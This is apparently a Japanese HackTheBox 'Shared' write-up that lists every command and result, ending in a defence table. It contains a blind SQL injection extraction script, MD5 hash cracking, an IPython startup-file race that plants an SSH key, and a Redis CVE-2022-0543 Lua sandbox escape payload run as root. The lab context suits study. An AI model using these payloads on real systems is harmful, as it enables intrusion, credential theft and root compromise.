HackTheBox: Shared — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443、TLS証明書でshared.htb確認
→
22/80/443、TLS証明書でshared.htb確認
checkout.shared.htb発見
custom_cart Cookie
→
custom_cart Cookie
Blind SQLi
商品参照IDが注入点
→
商品参照IDが注入点
hashcat crack
james_mason:Soleil101
→
james_mason:Soleil101
IPython startup file race
GHSA-pq7m-3gw7-gq5x
→
GHSA-pq7m-3gw7-gq5x
dan_smith シェル取得
user.txt ✓
→
user.txt ✓
Redisバイナリ strace
AUTHパスワード奪取
→
AUTHパスワード奪取
CVE-2022-0543
Lua sandbox escape EVAL RCE
→
Lua sandbox escape EVAL RCE
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャンとターゲット確認
BASH
nmap -Pn -p22,80,443,445,3389,88,389 -T4 --open 10.129.53.174
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
⚠️
注意: このラボ環境では同一IPが過去に別のHTBマシンへ割り当てられていたことがあり、
/etc/hostsに古いfluffy.htb等の記録が残存していた。445/3389/88/389が
すべて閉じていることから、これは別インスタンスの残骸であり現在のライブターゲットではないと判断。
TLS証明書とHTTPリダイレクトでマシンを確定
BASH
curl -sv http://10.129.53.174/ 2>&1 | head -20 curl -skv https://10.129.53.174/ 2>&1 | grep -A3 "subject:"
RESULT
< HTTP/1.1 301 Moved Permanently
< Location: http://shared.htb
* Server certificate:
* subject: C=US; ST=None; L=None; O=HTB; CN=*.shared.htb
✅
ターゲット確定: TLS証明書のCommon Name (
*.shared.htb) と
HTTPリダイレクト先(http://shared.htb)の両方で、対象IPが確かに
HackTheBox「Shared」マシンであることを確認した。
hostsファイルへの登録
BASH
echo "10.129.53.174 shared.htb" | sudo tee -a /etc/hosts
PHASE 2
Web調査 — PrestaShop カート & checkout.shared.htb 発見
PrestaShop ショップの確認
BASH
curl -sk https://shared.htb/index.php -o index.html grep -oE 'id_product=[0-9]*' index.html | sort -u
RESULT
id_product=1 id_product=2 ... id_product=8
ℹ️
トップページは衣料品を扱う PrestaShop ショップ。
INSTALL.txt等の
PrestaShop自体の既知脆弱性は本インスタンスでは有効な突破口にならず、
「カートに追加」の導線を辿ることが本命と判断。
商品参照ID (SKU) の取得
BASH
curl -skL "https://shared.htb/index.php?id_product=1&controller=product" -o product1.html grep -n -A2 "Reference" product1.html
RESULT
<div class="product-reference">
<label class="label">Reference </label>
<span>53GG2EF8</span>
</div>
⚠️
商品参照ID (SKU) はインスタンス毎に乱数で生成される
(公開writeupの値
YCS98E4Aとは異なる)。攻撃の度に動的取得が必須。
カート追加で checkout.shared.htb と custom_cart Cookie を発見
BASH
curl -sk -c cookies.txt "https://shared.htb/index.php?controller=cart&id_product=1&qty=1&add=1&action=update" cat cookies.txt
RESULT
.shared.htb TRUE / TRUE ... custom_cart %7B%2253GG2EF8%22%3A%221%22%7D
#HttpOnly_.shared.htb ... PrestaShop-xxxx ...
#HttpOnly_shared.htb ... PHPSESSID ...
# URL-decode: {"53GG2EF8":"1"}
🚨
重要発見:
custom_cart Cookieは
{"<商品参照ID>":"<数量>"} というJSONをURL-encodeしたもの。
レスポンス内で checkout.shared.htb への遷移リンクを確認し、
このサブドメインを /etc/hosts に追加。
PHASE 3
custom_cart Cookie の Content-Based Blind SQLi
SQLi の存在確認 (真偽条件での応答差分)
PYTHON
import urllib.parse, subprocess, json
REF = "53GG2EF8"
def fetch(cond):
payload = f"{REF}' AND ({cond})#"
cookie_val = urllib.parse.quote(json.dumps({payload: "1"}), safe="")
cmd = ["curl","-sk","-H",f"Cookie: custom_cart={cookie_val}",
"https://checkout.shared.htb/"]
return subprocess.run(cmd, capture_output=True, text=True).stdout
print(fetch("1=1")) # 真
print(fetch("1=2")) # 偽
RESULT (diff)
--- 1=1 (真) ---
<td>53GG2EF8</td><td>1</td><td>$23,90</td>
--- 1=2 (偽) ---
<td>Not Found</td><td>0</td><td>$0,00</td>
✅
SQLi確認成功。 条件が真なら商品情報が返り、偽なら
"Not Found"になる。この差分をオラクルとして二分探索でデータを抽出できる。
二分探索によるデータ抽出スクリプト
PYTHON (oracle.py)
def oracle(cond: str) -> bool:
payload = f"{REF}' AND ({cond})#"
cookie_val = urllib.parse.quote(json.dumps({payload: "1"}), safe="")
out = curl_with_cookie(cookie_val)
return "Not Found" not in out
def get_length(subquery: str, maxlen=200) -> int:
lo, hi = 0, maxlen
while lo < hi:
mid = (lo + hi) // 2
if oracle(f"LENGTH(({subquery}))>{mid}"): lo = mid + 1
else: hi = mid
return lo
def get_string(subquery: str) -> str:
length = get_length(subquery)
result = ""
for pos in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if oracle(f"ASCII(SUBSTRING(({subquery}),{pos},1))>{mid}"): lo = mid + 1
else: hi = mid
result += chr(lo)
return result
DB / テーブル / カラム / データの抽出
BASH
python3 oracle.py raw "SELECT DATABASE()" python3 oracle.py raw "SELECT GROUP_CONCAT(table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE()" python3 oracle.py raw "SELECT GROUP_CONCAT(column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='user'" python3 oracle.py raw "SELECT username FROM user LIMIT 1" python3 oracle.py raw "SELECT password FROM user LIMIT 1"
RESULT
DATABASE() : checkout tables : user,product user columns : id,username,password username : james_mason password (MD5) : fc895d4eddc2fc12f995e18c865cf273
✅
資格情報抽出成功。
checkoutデータベースのuserテーブルから
MD5ハッシュ化されたパスワードを1文字ずつ確定した。
PHASE 4
ハッシュクラック & james_mason SSH
hashcat + rockyou でMD5クラック
BASH
echo "fc895d4eddc2fc12f995e18c865cf273" > james_mason.hash hashcat -m 0 -a 0 james_mason.hash /usr/share/wordlists/rockyou.txt -o cracked.txt --force cat cracked.txt
RESULT
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests
fc895d4eddc2fc12f995e18c865cf273:Soleil101
SSHログインとグループ確認
BASH
sshpass -p 'Soleil101' ssh james_mason@10.129.53.174 "id; find / -group developer 2>/dev/null"
RESULT
uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)
/opt/scripts_review
⚠️
注意: user.txtは
/home/james_mason/ ではなく
/home/dan_smith/ にのみ存在する。developerグループが
書込み可能な /opt/scripts_review (770, root:developer) を足掛かりに
dan_smithへの昇格が必須と判明。
PHASE 5
IPython Startup File レース → dan_smith → user.txt
脆弱性メカニズムの実証 (GHSA-pq7m-3gw7-gq5x)
BASH
mkdir -p /tmp/test_ipy/profile_default/startup
echo "with open('/tmp/.probe_hit','w') as f: f.write('hit')" \
> /tmp/test_ipy/profile_default/startup/probe.py
cd /tmp/test_ipy && echo '' | ipython
cat /tmp/.probe_hit
RESULT
IPython 8.0.0 -- An enhanced Interactive Python. startup file executed
ℹ️
IPython 8.0.0 はカレントディレクトリに
profile_default/startup/*.py
があると、$HOME/.ipythonとは無関係に自動実行する
(Execution with Unnecessary Privileges, GHSA-pq7m-3gw7-gq5x)。
dan_smithの毎分cron (pkill ipython; cd /opt/scripts_review && ipython)
がこれを踏むため、developer権限で書込み可能な当該ディレクトリに
ペイロードを仕込めば dan_smith としてコード実行できる。
第一の壁: 「1分待つだけ」では発火しない
NOTE
まず素直に profile_default/startup/hola.py (authorized_keys 追記ペイロード) を 配置し1分待ったが、SSH鍵認証もマーカーファイルも一切反応しなかった。 pspyが使えない環境のため、独自にディレクトリの状態変化を継続監視した: [poll 1〜3] (同一分内, 3回) : profile_default/ が存在 → まだ消えていない [poll 4] (次の分の頭) : profile_default/ が消滅 (ディレクトリのwipeを確認) → ファイルは"丸々1分間"存在し続けたにも関わらず一度も実行されなかった。 これは「wipeがipython起動"後"に発生する」という前提(walkthrough記載)とは 矛盾する。実際には wipe は ipython 起動"前"、cron発火の瞬間に サブ秒級で発生していると判断した。
BASH
# 40秒間、1秒間隔でipythonプロセスの出現を監視 for i in $(seq 1 40); do ps -eo pid,uid,cmd | grep -i ipython | grep -v grep sleep 1 done
RESULT
(40回とも検出なし — cron実行が1秒未満で完了する短命プロセスであることを示唆)
解決策: 分境界をまたぐ無停止レースループ
BASH (race_loop.sh, ターゲット上でjames_masonとして実行)
mkdir -p /opt/scripts_review/profile_default/startup 2>/dev/null END=$((SECONDS+130)) count=0 while [ $SECONDS -lt $END ]; do mkdir -p /opt/scripts_review/profile_default/startup 2>/dev/null cp /tmp/hola_payload.py /opt/scripts_review/profile_default/startup/hola.py 2>/dev/null chmod -R 777 /opt/scripts_review/profile_default 2>/dev/null count=$((count+1)) done echo "RACE_DONE count=$count"
RESULT
RACE_DONE count=35323 # 130秒で約35,000回の再設置 (毎秒約272回)
# ターゲット側マーカー (dan_smith権限で2回のcron境界を捕捉):
2026-08-28 11:33:02.873275 uid=1001
2026-08-28 11:34:02.448603 uid=1001
✅
レース成立! スリープを挟まずペイロードを置き続けることで、
cronの「wipe → cd → ipython起動 → startup読込」という一連の処理の隙間
(サブ秒級) に運良くファイルが存在するタイミングを作り出せた。
ちょうど分境界 (
:33:02, :34:02) で2回連続発火を捕捉。
ペイロードは dan_smith の ~/.ssh/authorized_keys に
攻撃者公開鍵を追記する内容にし、reverse shellより確実な永続アクセスを確保した。
dan_smithとしてSSHログイン & user.txt取得
BASH
ssh -i dan_smith_key dan_smith@10.129.53.174 "id; cat /home/dan_smith/user.txt; groups"
RESULT
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin) 66af2fe6bbae681a6c2ccaa939c59de1
user.txt — dan_smith
66af2fe6bbae681a6c2ccaa939c59de1
PHASE 6
Redis権限昇格 (CVE-2022-0543) → root.txt
sysadmin グループの所有物とredis-serverの実行者
BASH
ssh -i dan_smith_key dan_smith@10.129.53.174 "find / -group sysadmin 2>/dev/null; ps auxww | grep redis"
RESULT
/usr/local/bin/redis_connector_dev # -rwxr-x--- root:sysadmin, Goバイナリ root /usr/bin/redis-server 127.0.0.1:6379
🚨
redis-serverはroot権限で稼働している。
redis_connector_devバイナリが使うAUTHパスワードを入手できれば、
root権限でRedisコマンドを実行できる。
strace + SSHポートフォワードでAUTHパスワードをワイヤから奪取
NOTE
redis_connector_dev はGoバイナリで、AUTHパスワードを実行時に組み立てるため `strings`による静的解析では取得できない (walkthrough記載の手法もここでつまずいている)。 ターゲットにはstrace/ltraceが存在しないため、バイナリごとKaliへ回収し、 SSHローカルポートフォワード越しに手元でstraceする方針に切替えた。 バイナリはIPv6ループバック([::1]:6379)を優先して接続するため、 IPv4/IPv6両方をフォワードする必要がある点に注意。
BASH
scp -i dan_smith_key dan_smith@10.129.53.174:/usr/local/bin/redis_connector_dev . chmod +x redis_connector_dev # IPv4/IPv6 両方のループバック 6379 をフォワード ssh -i dan_smith_key -N \ -L 127.0.0.1:6379:127.0.0.1:6379 \ -L [::1]:6379:127.0.0.1:6379 \ dan_smith@10.129.53.174 & strace -f -s 200 -e trace=write ./redis_connector_dev 2>&1 \ | grep -E "auth|connect"
RESULT
connect(6, {sa_family=AF_INET6, ... sin6_port=htons(6379) ... "::1" ...}) = -1 EINPROGRESS
write(6, "*2\r\n$4\r\nauth\r\n$16\r\nF2WHqJUz2WEz=Gqq\r\n", 37) = 37
✅
AUTHパスワード奪取成功:
F2WHqJUz2WEz=Gqq
— ワイヤ上に平文で流れる16バイトのRedis AUTHコマンドを直接観測できた。
CVE-2022-0543 (Redis Lua Sandbox Escape) でEVAL RCE
BASH
redis-cli -h ::1 -p 6379 -a 'F2WHqJUz2WEz=Gqq' eval \
"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); \
local io = io_l(); \
local f = io.popen('id', 'r'); \
local res = f:read('*a'); \
f:close(); \
return res" 0
RESULT
uid=0(root) gid=0(root) groups=0(root)
✅
RCE成功、root権限確認! Debianパッケージ版Redis(6.0.15)は
Lua標準ライブラリの
package.loadlibを無効化していないため、
システムのliblua5.1.so.0を動的ロードしてioライブラリの
サンドボックス外機能 (io.popen) を復活させ、任意コマンド実行に至った。
root.txt取得
BASH
redis-cli -h ::1 -p 6379 -a 'F2WHqJUz2WEz=Gqq' eval \
"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); \
local io = io_l(); \
local f = io.popen('cat /root/root.txt', 'r'); \
local res = f:read('*a'); \
f:close(); \
return res" 0
RESULT
74d0ac85016d36eefea47fbfff5d7f9a
root.txt — root
74d0ac85016d36eefea47fbfff5d7f9a
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — dan_smith
66af2fe6bbae681a6c2ccaa939c59de1
root.txt — root
74d0ac85016d36eefea47fbfff5d7f9a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Blind SQLi | PrestaShop custom_cart Cookie (checkout.shared.htb) | データベース内容の窃取 | High | 商品参照IDに' AND (...)#を注入、”Not Found”応答の有無を
オラクルとした二分探索でuser/passwordを抽出 |
| GHSA-pq7m-3gw7-gq5x | IPython 8.0.0 (startup files) | 他ユーザー権限でのコード実行 (dan_smith) | High | developerグループ書込み可能ディレクトリにprofile_default/startup/*.py
を配置、毎分cronでのipython起動を悪用。ディレクトリwipeがipython起動前の
サブ秒級レースであることを突き止め、無停止ループで再設置し続けて発火させた |
| CVE-2022-0543 | Redis 6.0.15 (Debianパッケージ, Lua sandbox) | リモートコード実行 (root) | Critical | package.loadlibでシステムのliblua5.1.so.0を
ロードしio.popenを復活、EVALコマンドで任意コマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + TLS証明書CN確認 | 22/80/443、shared.htb確定 |
| 2 | Web調査 | カート追加でサブドメイン発見 | checkout.shared.htb、custom_cart Cookie構造 |
| 3 | Blind SQLi | 二分探索 (LENGTH+ASCII/SUBSTRING) | james_mason:MD5ハッシュ |
| 4 | クラック | hashcat + rockyou | james_mason:Soleil101 でSSH |
| 5 | 横展開 | IPython startup file レース (busy loop) | user.txt 取得 (dan_smith) |
| 6 | 権限昇格 | strace AUTH奪取 + CVE-2022-0543 | root.txt 取得 (root) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| カート機能のCookie値がサニタイズ無しでSQLクエリに直接連結されている | すべての入力をプレースホルダ付きパラメータ化クエリで処理する。Cookie等クライアント制御値を信頼しない。 |
| 一般ユーザーが他ユーザーのIPython起動ディレクトリに書込み可能 | 共有作業ディレクトリでのインタプリタ起動を避ける。IPythonのc.InteractiveShellApp.exec_filesや
startup機構は信頼できないディレクトリで動かさない。最小権限のcron専用ユーザー分離を徹底する。 |
| root権限でRedisを稼働させ、独自バイナリにAUTHパスワードを埋め込んでいる | Redisは非rootの専用ユーザーで稼働させる。認証情報をバイナリに埋め込まずシークレット管理サービスを使う。
Lua package.loadlib等の危険な機能はACLで制限する (Redis 6+のACLで
EVALコマンド自体も制限可能)。CVE-2022-0543のパッチ適用を徹底する。 |

